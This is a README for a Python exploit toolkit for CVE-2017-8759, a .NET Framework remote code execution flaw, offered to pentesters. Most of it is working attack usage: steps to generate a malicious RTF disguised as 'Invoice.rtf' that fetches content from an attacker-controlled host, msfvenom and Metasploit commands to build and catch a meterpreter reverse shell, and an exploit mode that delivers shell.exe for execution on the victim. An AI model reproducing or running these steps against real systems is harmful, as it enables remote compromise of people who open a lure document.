Exploit toolkit CVE-2017-8759 - v1.0
Exploit toolkit CVE-2017-8759 - v1.0 is a handy python script which provides pentesters and security researchers a quick and effective way to test Microsoft .NET Framework RCE. It could generate a malicious RTF file and deliver metasploit / meterpreter / other payload to victim without any complex configuration.
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Introduced following capabilities to the script
- Generate Malicious RTF file - Exploitation mode for generated RTF file
Version: Python version 2.7.13
Scenario: Deliver local meterpreter payload
1) Generate malicious RTF file # python cve-2017-8759_toolkit.py -M gen -w Invoice.rtf -u http://192.168.56.1/logo.txt 2) (Optional, if using MSF Payload) : Generate metasploit payload and start handler # msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.56.1 LPORT=4444 -f exe > /tmp/shell.exe # msfconsole -x "use multi/handler; set PAYLOAD windows/meterpreter/reverse_tcp; set LHOST 192.168.56.1; run" 3) Start toolkit in exploit mode to deliver local payload # python cve-2017-8759_toolkit.py -M exp -e http://192.168.56.1/shell.exe -l /tmp/shell.exe
Command line arguments:
# python cve-2017-8759_toolkit.py -h This is a handy toolkit to exploit CVE-2017-8759 (Microsoft .NET Framework RCE) Modes: -M gen Generate Malicious file only Generate malicious RTF file: -w <Filename.rtf> Name of malicious RTF file (Share this file with victim). -u <http://attacker.com/test.txt> Path of remote txt file. Normally, this should be a domain or IP where this tool is running. For example, http://attackerip.com/test.txt (This URL will be included in malicious RTF file and will be requested once victim will open malicious RTF file. -M exp Start exploitation mode Exploitation: -p <TCP port:Default 80> Local port number. -e <http://attacker.com/shell.exe> The path of an executable file / meterpreter shell / payload which needs to be executed on target. -l </tmp/shell.exe> Specify local path of an executable file / meterpreter shell / payload.
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Bug, issues, feature requests
Obviously, I am not a fulltime developer so expect some hiccups
Please report bugs, issues through https://github.com/bhdresh/CVE-2017-8759/issues/new